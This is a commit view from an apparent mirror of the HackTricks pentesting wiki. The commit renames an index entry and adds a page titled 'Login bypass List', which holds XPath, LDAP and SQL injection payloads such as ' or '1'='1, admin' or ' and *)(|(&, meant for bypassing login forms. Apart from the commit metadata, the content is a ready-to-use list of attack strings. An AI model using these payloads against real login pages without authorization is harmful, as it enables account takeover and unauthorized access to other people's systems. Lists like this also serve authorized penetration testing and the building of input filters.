0x22bb
/
hacktricks
mirror of https://github.com/carlospolop/hacktricks.git
1
2
Fork 0
Code Releases Activity

GitBook: [master] 2 pages modified

This commit is contained in:
CPol 2021-06-26 16:04:21 +00:00 committed by gitbook-bot
parent 46617092f7
commit 0e935b8787
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
2 changed files with 28 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
SUMMARY.md
View File

@ -377,7 +377,7 @@
* [NoSQL injection](pentesting-web/nosql-injection.md)
* [LDAP Injection](pentesting-web/ldap-injection.md)
* [Login Bypass](pentesting-web/login-bypass/README.md)
* [SQL Login bypass](pentesting-web/login-bypass/sql-login-bypass.md)
* [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
* [Open Redirect](pentesting-web/open-redirect.md)
* [Parameter Pollution](pentesting-web/parameter-pollution.md)

28
pentesting-web/login-bypass/sql-login-bypass.md
View File

@ -1,6 +1,32 @@
# SQL Login bypass
# Login bypass List
This list contains **payloads to bypass the login via XPath, LDAP and SQL injection**\(in that order\).
```text
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
1234
'-'
' '